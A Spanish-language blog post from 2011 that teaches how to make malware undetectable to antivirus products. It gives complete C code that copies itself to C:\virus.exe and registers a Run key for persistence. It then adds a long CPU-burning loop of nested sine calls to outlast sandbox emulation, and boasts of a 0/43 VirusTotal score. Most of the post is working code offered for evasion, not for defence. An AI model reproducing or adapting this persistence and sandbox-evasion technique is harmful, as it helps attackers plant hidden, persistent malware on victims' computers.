miércoles, 23 de febrero de 2011

Indetectar desde codigo fuente, (anti-heuristica)

Bueno soy Leos, algunos me conoceran en el mundillo de la seguridad informatica otros y la mayoria no jaja.
en este blog voy a ir colgando cosas que fui aprendiendo con los años acerca del tema.
hoy les voy traigo un ejemplo practico de lo que publique hace un tiempo aqui en forma de pseudo codigo:
les voy a mostrar como hacer para evitar que la heuristica de TODOS los AV caigan de una manera sencilla
El codigo que voy a usar de ejemplo es algo que programe recien que es detectado por 8 antivirus segun VirusTotal

primero les presento el codigo detectado, el cual es una funcion para agregar una clave al registro.

Citar:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


unsigned __stdcall agregarAlArranque(char* clave,char * valor)
{

char path[1024];
double cuenta;
HKEY handlekey;
DWORD salida = 0;
LPDWORD psalida = &salida;
LONG valorRetorno =0;

int i=0;


GetModuleFileName(NULL,path,sizeof(path));
CopyFile(path,"C:\\virus.exe",FALSE);


valorRetorno = RegCreateKeyEx( HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,0,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &handlekey,psalida);

if( valorRetorno == ERROR_SUCCESS)
{
valorRetorno = RegSetValueEx(handlekey,clave, 0, REG_SZ, (LPBYTE) valor ,strlen(valor) );
}

return valorRetorno;
}


int main(int argc, char *argv[])
{
int threadID;
agregarAlArranque("clavecita","C:\\virus.exe");
return 0;
}



cualquier antivirus berretin se da cuenta que

Código:
GetModuleFileName(NULL,path,sizeof(path));
CopyFile(path,"C:\\virus.exe",FALSE);
valorRetorno = RegCreateKeyEx( HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,0,


es un virus (mas alla del nombre) 

entonces que vamos a hacer, vamos a lo que yo llamo "cansar" a los AV.
les vamos a agregar ciclos redundantes a nuestro programa.
Dado que los antivirus, ejecutan el programa en su "sandbox" para ver si tiene virus y esa ejecucion es limitada, que pasa si 
pasamos ese limite?, y bueno es facil deducir que no va a poder llegar a fondo.
entonces lo que voy a hacer es separar las funciones, a una meterla adentro de un ciclo y las demas dejarla separadas.
El ciclo es grande y ademas contiene un calculo de seno avanzado,

aqui esta el codigo nuevo:

Citar:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


unsigned __stdcall agregarAlArranque(char* clave,char * valor)
{

char path[1024];
double cuenta;
HKEY handlekey;
DWORD salida = 0;
LPDWORD psalida = &salida;
LONG valorRetorno =0;

int i=0;
while ( i <= 5000000)
{
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
i++;
GetModuleFileName(NULL,path,sizeof(path));

}
CopyFile(path,"C:\\virus.exe",FALSE);


valorRetorno = RegCreateKeyEx( HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,0,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &handlekey,psalida);

if( valorRetorno == ERROR_SUCCESS)
{
valorRetorno = RegSetValueEx(handlekey,clave, 0, REG_SZ, (LPBYTE) valor ,strlen(valor) );
}

return valorRetorno;
}


int main(int argc, char *argv[])
{
int threadID;
agregarAlArranque("clavecita","C:\\virus.exe");
return 0;
}



fijese que agregue esto de mas

int i=0;
while ( i <= 5000000)
{
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
cuenta = sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(sin(37)))))))))))));
i++;

GetModuleFileName(NULL,path,sizeof(path));

}


que pasa entonces? el motor del antivirus se cansa y su heuristica no sirve para nada y que obtenemos
obtenemos un lindo 0
Citar:
File name: registro.exe
Submission date: 2011-02-24 04:36:14 (UTC)
Current status: finished
Result: 0/ 43 (0.0%)



NOTA: si bien engañamos a los AV nuestra CPU va a tardar en ejecutar todo eso,pasa que yo lo exagere, se puede bajar el numero de ciclos e ir probando, con algo mas razonable, pero bueno si es agregar algo al registro, no creo que joda que tarde 5 segundos mas :P